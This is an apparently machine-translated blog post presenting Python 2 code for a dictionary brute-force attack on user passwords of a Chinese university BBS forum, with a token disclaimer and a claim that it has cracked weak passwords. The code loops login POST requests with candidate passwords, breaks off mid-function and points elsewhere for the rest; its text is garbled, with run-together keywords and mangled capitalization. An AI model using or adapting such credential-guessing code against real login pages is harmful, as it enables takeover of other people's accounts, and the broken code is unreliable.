This article is just extrapolate, using Python to demonstrate a way of thinking that applies to different websites or forums. Do not use illegal acts.
The following code is pro-test effective, cracked some users weak password. Of course, the success rate of the crack is related to your dictionary, the more complex the dictionary, the higher the success rate, but the longer it takes.
#-*-Coding:utf-8-*-__author__ =' Rocky '# Crack 211 The user password of BBS forum in university#来源: http://www.rcdisk.com# Blade Grass Net-record your self-studyImportCookielib, Urllib, Urllib2, Re, Time,sys class bbs_sysu(): def __init__(self): #构造urllib的数据头Self.login_url ="Http://bbs.xxxx.edu.cn/login"Self.user_agent =' mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; trident/5.0) 'Self.headers = {' User-agent ': self.user_agent} Self.cookie = Cookielib. Cookiejar () Self.opener = Urllib2.build_opener (urllib2. Httpcookieprocessor (Self.cookie)) Self.pattern = Re.compile (R ' "Success": "(d)" ') Self.guess =FalseSelf.ignore=False def urlopen_try(self,req,times=5):Data="" Try: result = Self.opener.open (req) Data=result.read ()exceptException,what:PrintWhat, req;ifTimes>0: Time.sleep ( -) Self.urlopen_try (req,times-1)#time. Sleep (Ten) Else:Print "Get Failed", req time.sleep (5) self.ignore=True returnDatareturnData#破解函数, where the essence lies def crack(self, userid, password):PostData = Urllib.urlencode ({' userid ': UserID,' passwd ': password})#将用户名和密码进行编码req = Urllib2. Request (Self.login_url, Data=postdata, Headers=self.headers)#构造一个Request, incoming header and URL, user's data
Complete code, HTTP://WWW.RCDISK.COM/INDEX.PHP/GROUP/TOPIC/ID-4
Use Python to hack a 211 University BBS forum user password